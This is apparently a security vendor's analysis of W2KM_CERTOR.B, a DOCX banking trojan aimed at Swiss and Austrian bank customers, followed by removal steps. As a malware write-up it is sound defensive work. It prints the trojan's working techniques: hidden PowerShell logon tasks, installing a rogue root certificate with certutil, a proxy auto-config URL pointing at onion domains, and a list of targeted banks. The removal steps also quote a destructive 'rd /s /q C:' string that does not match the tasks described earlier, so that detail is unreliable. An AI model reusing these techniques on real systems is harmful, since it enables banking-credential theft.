W2KM_CERTOR.B

 Analysis by: Jeanne Jocson

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: Yes

  • In the wild: Yes

  OVERVIEW

Infection Channel:

Spammed via email, Dropped by other malware, Downloaded from the Internet

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users. It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It executes certain actions WITHIN the affected computer.

  TECHNICAL DETAILS

File Size:

45,852 bytes

File Type:

DOCX

Memory Resident:

No

Initial Samples Received Date:

15 Sep 2016

Payload:

Downloads files, Drops files

Arrival Details

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users.

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan creates the following folders:

  • %Application Data%\TP\p\Profiles

(Note: %Application Data% is the Application Data folder, where it usually is C:\Documents and Settings\{user name}\Application Data on Windows 2000, Windows Server 2003, and Windows XP (32- and 64-bit); C:\Users\{user name}\AppData\Roaming on Windows Vista (32- and 64-bit), Windows 7 (32- and 64-bit), Windows 8 (32- and 64-bit), Windows 8.1 (32- and 64-bit), Windows Server 2008, and Windows Server 2012.)

Other System Modifications

This Trojan adds the following registry entries:

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Internet Settings
AutoConfigURL = "http://{domain}/{random characters}.js?ip={IP}"
where domain can be the following:

  • 3ne2scma55oczag6.onion
  • vl46saaxvfsosg3y.onion
  • ug6nw7vl6csbuqzs.onion
  • 6kux6tnxjptryfg7.onion

  • IP=IP address returned by the server

    Dropping Routine

    This Trojan drops the following files:

    • %User Temp%\cert.der
    • %User Temp%\{random characters}.ps1-used to install certificate in Internet Explorer
    • %User Temp%\{random characters}.ps1-used to install certificate in FireFox
    • %Application Data%\TP\p\Profiles\Default.ppx-Profile Settings of Proxifier
    • %Application Data%\TP\p\Settings.ini-initialization settings of Proxifier

    (Note: %User Temp% is the user's temporary folder, where it usually is C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000, Windows Server 2003, and Windows XP (32- and 64-bit); C:\Users\{user name}\AppData\Local\Temp on Windows Vista (32- and 64-bit), Windows 7 (32- and 64-bit), Windows 8 (32- and 64-bit), Windows 8.1 (32- and 64-bit), Windows Server 2008, and Windows Server 2012.. %Application Data% is the Application Data folder, where it usually is C:\Documents and Settings\{user name}\Application Data on Windows 2000, Windows Server 2003, and Windows XP (32- and 64-bit); C:\Users\{user name}\AppData\Roaming on Windows Vista (32- and 64-bit), Windows 7 (32- and 64-bit), Windows 8 (32- and 64-bit), Windows 8.1 (32- and 64-bit), Windows Server 2008, and Windows Server 2012.)

    Download Routine

    This Trojan connects to the following URL(s) to download its component file(s):

    • http:/{BLOCKED}ier.com/distr/ProxifierPE.zip -Proxy Software
    • http:/{BLOCKED}ad-codeplex.sec.s-msft.com/Download/Release?ProjectName=taskscheduler&DownloadId=1505290&FileTime=131142250937900000&Build=21031-used for Task Scheduler
    • https:/{BLOCKED}t.{BLOCKED}ject.org/torbrowser/6.0.4/tor-win32-0.2.8.6.zip-TOR browser

    It saves the files it downloads using the following names:

    • %User Temp%\ts.zip-Task Scheduler
    • %User Temp%\t.zip-TOR browser
    • %User Temp%\p1.zip-Proxifier
      • Note: These files were deleted after extracting

    (Note: %User Temp% is the user's temporary folder, where it usually is C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000, Windows Server 2003, and Windows XP (32- and 64-bit); C:\Users\{user name}\AppData\Local\Temp on Windows Vista (32- and 64-bit), Windows 7 (32- and 64-bit), Windows 8 (32- and 64-bit), Windows 8.1 (32- and 64-bit), Windows Server 2008, and Windows Server 2012.)

    Other Details

    This Trojan does the following:

    • Uses SOCKS5 Proxy and redirects the following sites to local host with port 9050 when accessed:
      • *postfinance.ch
      • cs.directnet.com
      • eb.akb.ch
      • *.ubs.com
      • tb.raiffeisendirect.ch
      • *.bkb.ch
      • *.lukb.ch
      • *.zkb.ch
      • *.onba.ch
      • e-banking.gkb.ch
      • *.bekb.ch
      • wwwsec.ebanking.zugerkb.ch
      • netbanking.bcge.ch
      • *.raiffeisen.ch
      • *.credit-suisse.com
      • *.bankaustria.at
      • *.bawagpsk.com
      • *.raiffeisen.at
      • *.static-ubs.com
      • *.bawag.com
      • *.clientis.ch
      • clientis.ch
      • *bcvs.ch
      • *cic.ch
      • www.banking.co.at
      • *oberbank.at
      • www.oberbank-banking.at
      • *baloise.ch
      • *.ukb.ch
      • urkb.ch
      • *.urkb.ch
      • *.eek.ch
      • *szkb.ch
      • *shkb.ch
      • *glkb.ch
      • *nkb.ch
      • *owkb.ch
      • *cash.ch
      • *bcf.ch
      • *.easybank.at
      • ebanking.raiffeisen.ch
      • *.onion
      • *bcv.ch
      • *juliusbaer.com
      • *abs.ch
      • *bcn.ch
      • *blkb.ch
      • *bcj.ch
      • *zuercherlandbank.ch
      • *valiant.ch
      • *wir.ch
    • Modifies the FireFox's settings by modifying the the following file:
      • %Application Data%\Mozilla\Firefox\Profiles\{random alphanumeric characters}.default\prefs.js
    • Modifies the content of prefs.js to enable the proxy and access to ".onion" into following:
      • user_pref("network.dns.blockDotOnion", false);
      • user_pref("network.proxy.{type}, false);
    • The downloaded files were extracted in the following folders:
      • %User Temp%\ts-Task Scheduler
      • %Application Data%\TP-TOR and Proxifier PE
    • It loads the following DLL used for Task Scheduler:
      • %User Temp%\ts\v2.0\Microsoft.Win32.TaskScheduler.dll
    • It schedules the following tasks:
      • Name="SkypeUpdateTask"
        Description="Does something"
        Trigger="At Logon"
        Execute:"PowerShell.exe -WindowStyle hidden add-type -name win -member [DllImport("user32.dll")] public static extern bool ShowWindow(int handle, int state); -namespace native;[native.win]::ShowWindow(([System.Diagnostics.Process]::GetCurrentProcess() | Get-Process).MainWindowHandle, 0);Start-Process -WindowStyle hidden -FilePath '%Application Data%\TP\Tor\tor.exe'
      • Name="ChromeUpdate"
        Description="Does something"
        Trigger="At Logon"
        Execute:"PowerShell.exe -WindowStyle hidden add-type -name win -member [DllImport("user32.dll")] public static extern bool ShowWindow(int handle, int state); -namespace native;[native.win]::ShowWindow(([System.Diagnostics.Process]::GetCurrentProcess() | Get-Process).MainWindowHandle, 0);Start-Process -WindowStyle hidden -FilePath '%Application Data%\TP\p\Proxifier.exe';while(![native.win]::ShowWindow(([System.Diagnostics.Process]::GetProcessesByName("proxifier") | Get-Process).MainWindowHandle, 0)){}
    • It connects to the following URLs in which it will return an IP address:
      • http:/icanhazip.com/3ne2scma55oczag6.onion
      • http:/icanhazip.com/vl46saaxvfsosg3y.onion
      • http:/icanhazip.com/ug6nw7vl6csbuqzs.onion
      • http:/icanhazip.com/6kux6tnxjptryfg7.onion
      • http:/api.ipify.org/3ne2scma55oczag6.onion
      • http:/api.ipify.org/vl46saaxvfsosg3y.onion
      • http:/api.ipify.org/ug6nw7vl6csbuqzs.onion
      • http:/api.ipify.org/6kux6tnxjptryfg7.onion

    It executes the following:

    • powershell -ExecutionPolicy Unrestricted -File "%User Temp%\{random characters}.ps1"
    • certutil -addstore -f -user "ROOT" "%User Temp%\cert.der"
    • taskkill /F /im iexplore.exe
    • taskkill /F /im firefox.exe
    • taskkill /F /im chrome.exe

    (Note: %User Temp% is the user's temporary folder, where it usually is C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000, Windows Server 2003, and Windows XP (32- and 64-bit); C:\Users\{user name}\AppData\Local\Temp on Windows Vista (32- and 64-bit), Windows 7 (32- and 64-bit), Windows 8 (32- and 64-bit), Windows 8.1 (32- and 64-bit), Windows Server 2008, and Windows Server 2012.)

    NOTES:

    Inside the malicious document file is an OLE Embedded Object which runs a script when double-clicked. It tricks the user by using an icon that resembles a receipt.

    It contains a text written in German which translates as:

    To see the receipt, double click the image.

      SOLUTION

    Minimum Scan Engine:

    9.800

    FIRST VSAPI PATTERN FILE:

    12.786.06

    FIRST VSAPI PATTERN DATE:

    19 Sep 2016

    VSAPI OPR PATTERN File:

    12.787.00

    VSAPI OPR PATTERN Date:

    20 Sep 2016

    Step 1

    Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.

    Step 2

    Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

    Step 3

    Restart in Safe Mode

    [ Learn More ]

    Step 4

    Delete this registry value

    [ Learn More ]

    Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

    • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings
      • AutoConfigURL = "http://{domain}/{random characters}.js?ip={IP}"

    Step 5

    Search and delete this file

    [ Learn More ]
    There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.  
    • %User Temp%\cert.der
    • %User Temp%\{random characters}.ps1

    Step 6

    Search and delete these folders

    [ Learn More ]
    Please make sure you check the Search Hidden Files and Folders checkbox in the More advanced options option to include all hidden folders in the search result.
    • %Application Data%\TP
    • %User Temp%\ts

    Step 7

    Scan your computer with your Trend Micro product to delete files detected as W2KM_CERTOR.B. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.

    Step 8

    Deleting Scheduled Tasks

    For Windows 2000, Windows XP, and Windows Server 2003:

    1. Open the Windows Scheduled Tasks. Click Start>Programs>Accessories>
      System Tools>Scheduled Tasks.
    2. Locate each task that has the following value in the Schedule column:
       Powershell.exe -WindowStyle hidden t='[DllImport(\user32.dll\)]]
    3. Right-click on the said file(s) with the aforementioned value.
    4. Click on Properties. In the Run field, check for the following string:
      Cmd /c /rd /s /q C:
    5. If the said string is found, delete the task.

    For Windows Vista, Windows 7, Windows Server 2008, Windows 8, Windows 8.1, and Windows Server 2012:

    1. Open the Windows Task Scheduler. To do this:
      • On Windows Vista, Windows 7, and Windows Server 2008, click Start, type taskschd.msc in the Search input field, then press Enter.
      • On Windows 8, Windows 8.1, and Windows Server 2012, right-click on the lower left corner of the screen, click Run, type taskschd.msc, then press Enter.
    2. In the left panel, click Task Scheduler Library.
    3. In the upper-middle panel, locate each task that has the value in the Triggers column:
       Powershell.exe -WindowStyle hidden t='[DllImport(\user32.dll\)]]
    4. In the lower-middle panel, click the Actions tab. In the Details column, check for the following string:
      Cmd /c /rd /s /q C:
    5. If the said string is found, delete the task..


    Did this description help? Tell us how we did.